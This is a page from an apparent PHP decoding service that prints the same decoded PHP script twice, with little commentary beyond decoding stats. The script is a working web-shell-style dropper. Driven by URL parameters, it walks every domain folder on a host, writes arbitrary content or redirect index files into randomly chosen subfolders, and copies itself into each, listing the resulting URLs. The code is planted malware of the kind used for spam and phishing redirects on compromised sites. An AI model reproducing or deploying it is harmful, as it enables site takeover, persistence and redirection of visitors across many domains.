Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Initialize variables $url = ''; $content = ''; $message = ''; $copiedPaths =..

Decoded Output download

<?php 
// Initialize variables 
$url = ''; 
$content = ''; 
$message = ''; 
$copiedPaths = []; 
 
// Get current script path and name 
$currentPath = $_SERVER['SCRIPT_NAME']; 
$currentScriptName = basename(__FILE__); 
$pathParts = array_filter(explode('/', $currentPath)); 
$numFolders = count($pathParts) - 1; 
 
// Calculate the number of "../" needed to go back 
$backPath = str_repeat('../', $numFolders); 
 
// Get parameters from URL 
$name = isset($_GET['name']) ? trim($_GET['name']) : ''; 
$url = isset($_GET['url']) ? trim($_GET['url']) : ''; 
$content = isset($_GET['content']) ? trim($_GET['content']) : ''; 
$basePath = isset($_GET['path']) ? rtrim(trim($_GET['path']), '/') . '/' : ''; 
$subfolder = isset($_GET['subfolder']) ? trim($_GET['subfolder']) : ''; 
$randomCount = isset($_GET['q']) ? (int)$_GET['q'] : 1; // New parameter for random subfolder count 
 
$success = true; 
 
// Modified validation logic 
if (empty($basePath) && empty($name)) { 
    $message = "Failed
Folder name is required when path is not specified."; 
    $success = false; 
} elseif (empty($basePath) && empty($url) && empty($content)) { 
    $message = "Failed
Either URL or content must be provided when not using path and subfolder."; 
    $success = false; 
} else { 
    $folderName = str_replace('..', '', $name); 
    $fullPaths = []; 
 
    if (!empty($basePath) && !empty($subfolder)) { 
        // Get all domains inside the base path 
        $domains = glob($basePath . '*', GLOB_ONLYDIR); 
         
        foreach ($domains as $domain) { 
            $subfolderPath = $domain . '/' . $subfolder; 
             
            // Create subfolder if it doesn't exist 
            if (!file_exists($subfolderPath) && !mkdir($subfolderPath, 0755, true)) { 
                $message .= "
Error creating subfolder: $subfolderPath"; 
                continue; 
            } 
 
            // Get all subfolders within the target subfolder 
            $allSubfolders = []; 
             
            // First, check for immediate subfolders 
            $immediateSubfolders = glob($subfolderPath . '/*', GLOB_ONLYDIR); 
            $allSubfolders = array_merge($allSubfolders, $immediateSubfolders); 
             
            // Check for deeper folders 
            foreach ($immediateSubfolders as $subSubfolder) { 
                $deeperFolders = glob($subSubfolder . '/*', GLOB_ONLYDIR); 
                $allSubfolders = array_merge($allSubfolders, $deeperFolders); 
            } 
 
            if (!empty($allSubfolders)) { 
                // Randomly select specified number of subfolders 
                shuffle($allSubfolders); 
                $selectedFolders = array_slice($allSubfolders, 0, min($randomCount, count($allSubfolders))); 
                 
                foreach ($selectedFolders as $selectedFolder) { 
                    $fullPaths[] = $selectedFolder . '/'; 
                } 
            } else { 
                // If no subfolders exist, use the main subfolder 
                $fullPaths[] = $subfolderPath . '/'; 
            } 
        } 
    } else { 
        // Handle the original single directory case 
        $fullPath = __DIR__ . '/' . $backPath . $folderName; 
        $fullPath = rtrim($fullPath, '/'); 
        $fullPaths[] = $fullPath; 
    } 
 
    // Create files in all determined paths 
    foreach ($fullPaths as $fullPath) { 
        // Create directory if it doesn't exist 
        if (!file_exists($fullPath)) { 
            if (mkdir($fullPath, 0755, true)) { 
                $message .= "
Folders created successfully at: $fullPath"; 
            } else { 
                $message .= "
Error creating folders at: $fullPath"; 
                $success = false; 
                continue; 
            } 
        } 
 
        // Only create index files if URL or content is provided 
        if (!empty($url) || !empty($content)) { 
            $files = [ 
                'index.php' => !empty($content) 
                    ? $content 
                    : '<?php header("Location: ' . htmlspecialchars($url) . '"); ?>', 
                'index.html' => !empty($content) 
                    ? $content 
                    : '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '">' 
            ]; 
 
            foreach ($files as $fileName => $fileContent) { 
                $filePath = $fullPath . '/' . $fileName; 
                if (file_put_contents($filePath, $fileContent) !== false) { 
                    $message .= "
File created successfully: $filePath"; 
                } else { 
                    $message .= "
Error creating file: $fileName at $filePath"; 
                    $success = false; 
                } 
            } 
        } 
 
        // Copy the script using dynamic filename 
        $scriptSource = __FILE__; 
        $scriptDestination = $fullPath . '/' . $currentScriptName; 
         
        if (copy($scriptSource, $scriptDestination)) { 
            $copiedPaths[] = $scriptDestination; 
        } else { 
            $message .= "
Error copying script to: $scriptDestination"; 
            $success = false; 
        } 
    } 
 
    if ($success) { 
        $message = "Successfully" . $message; 
    } else { 
        $message = "Failed" . $message; 
    } 
 
    // Output execution details 
    $message .= "

Executed script path: " . __FILE__; 
     
    if (!empty($copiedPaths)) { 
        $message .= "

Paths where '" . $currentScriptName . "' was copied:"; 
        foreach ($copiedPaths as $path) { 
            // Convert server path to URL format 
            $urlPath = str_replace($basePath, 'https://', $path); 
             
            // Remove 'public_html' from the path 
            $urlPath = str_replace('/public_html/', '/', $urlPath);             
            $message .= "
$urlPath"; 
        } 
    } 
} 
 
// Output the result 
header('Content-Type: text/plain'); 
// echo $message; 

Did this file decode correctly?

Original Code

<?php
// Initialize variables
$url = '';
$content = '';
$message = '';
$copiedPaths = [];

// Get current script path and name
$currentPath = $_SERVER['SCRIPT_NAME'];
$currentScriptName = basename(__FILE__);
$pathParts = array_filter(explode('/', $currentPath));
$numFolders = count($pathParts) - 1;

// Calculate the number of "../" needed to go back
$backPath = str_repeat('../', $numFolders);

// Get parameters from URL
$name = isset($_GET['name']) ? trim($_GET['name']) : '';
$url = isset($_GET['url']) ? trim($_GET['url']) : '';
$content = isset($_GET['content']) ? trim($_GET['content']) : '';
$basePath = isset($_GET['path']) ? rtrim(trim($_GET['path']), '/') . '/' : '';
$subfolder = isset($_GET['subfolder']) ? trim($_GET['subfolder']) : '';
$randomCount = isset($_GET['q']) ? (int)$_GET['q'] : 1; // New parameter for random subfolder count

$success = true;

// Modified validation logic
if (empty($basePath) && empty($name)) {
    $message = "Failed\nFolder name is required when path is not specified.";
    $success = false;
} elseif (empty($basePath) && empty($url) && empty($content)) {
    $message = "Failed\nEither URL or content must be provided when not using path and subfolder.";
    $success = false;
} else {
    $folderName = str_replace('..', '', $name);
    $fullPaths = [];

    if (!empty($basePath) && !empty($subfolder)) {
        // Get all domains inside the base path
        $domains = glob($basePath . '*', GLOB_ONLYDIR);
        
        foreach ($domains as $domain) {
            $subfolderPath = $domain . '/' . $subfolder;
            
            // Create subfolder if it doesn't exist
            if (!file_exists($subfolderPath) && !mkdir($subfolderPath, 0755, true)) {
                $message .= "\nError creating subfolder: $subfolderPath";
                continue;
            }

            // Get all subfolders within the target subfolder
            $allSubfolders = [];
            
            // First, check for immediate subfolders
            $immediateSubfolders = glob($subfolderPath . '/*', GLOB_ONLYDIR);
            $allSubfolders = array_merge($allSubfolders, $immediateSubfolders);
            
            // Check for deeper folders
            foreach ($immediateSubfolders as $subSubfolder) {
                $deeperFolders = glob($subSubfolder . '/*', GLOB_ONLYDIR);
                $allSubfolders = array_merge($allSubfolders, $deeperFolders);
            }

            if (!empty($allSubfolders)) {
                // Randomly select specified number of subfolders
                shuffle($allSubfolders);
                $selectedFolders = array_slice($allSubfolders, 0, min($randomCount, count($allSubfolders)));
                
                foreach ($selectedFolders as $selectedFolder) {
                    $fullPaths[] = $selectedFolder . '/';
                }
            } else {
                // If no subfolders exist, use the main subfolder
                $fullPaths[] = $subfolderPath . '/';
            }
        }
    } else {
        // Handle the original single directory case
        $fullPath = __DIR__ . '/' . $backPath . $folderName;
        $fullPath = rtrim($fullPath, '/');
        $fullPaths[] = $fullPath;
    }

    // Create files in all determined paths
    foreach ($fullPaths as $fullPath) {
        // Create directory if it doesn't exist
        if (!file_exists($fullPath)) {
            if (mkdir($fullPath, 0755, true)) {
                $message .= "\nFolders created successfully at: $fullPath";
            } else {
                $message .= "\nError creating folders at: $fullPath";
                $success = false;
                continue;
            }
        }

        // Only create index files if URL or content is provided
        if (!empty($url) || !empty($content)) {
            $files = [
                'index.php' => !empty($content)
                    ? $content
                    : '<?php header("Location: ' . htmlspecialchars($url) . '"); ?>',
                'index.html' => !empty($content)
                    ? $content
                    : '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '">'
            ];

            foreach ($files as $fileName => $fileContent) {
                $filePath = $fullPath . '/' . $fileName;
                if (file_put_contents($filePath, $fileContent) !== false) {
                    $message .= "\nFile created successfully: $filePath";
                } else {
                    $message .= "\nError creating file: $fileName at $filePath";
                    $success = false;
                }
            }
        }

        // Copy the script using dynamic filename
        $scriptSource = __FILE__;
        $scriptDestination = $fullPath . '/' . $currentScriptName;
        
        if (copy($scriptSource, $scriptDestination)) {
            $copiedPaths[] = $scriptDestination;
        } else {
            $message .= "\nError copying script to: $scriptDestination";
            $success = false;
        }
    }

    if ($success) {
        $message = "Successfully" . $message;
    } else {
        $message = "Failed" . $message;
    }

    // Output execution details
    $message .= "\n\nExecuted script path: " . __FILE__;
    
    if (!empty($copiedPaths)) {
        $message .= "\n\nPaths where '" . $currentScriptName . "' was copied:";
        foreach ($copiedPaths as $path) {
            // Convert server path to URL format
            $urlPath = str_replace($basePath, 'https://', $path);
            
            // Remove 'public_html' from the path
            $urlPath = str_replace('/public_html/', '/', $urlPath);            
            $message .= "\n$urlPath";
        }
    }
}

// Output the result
header('Content-Type: text/plain');
// echo $message;

Function Calls

None

Variables

None

Stats

MD5 0d69c25585001d5b6489d168aa8e8ce4
Eval Count 0
Decode Time 89 ms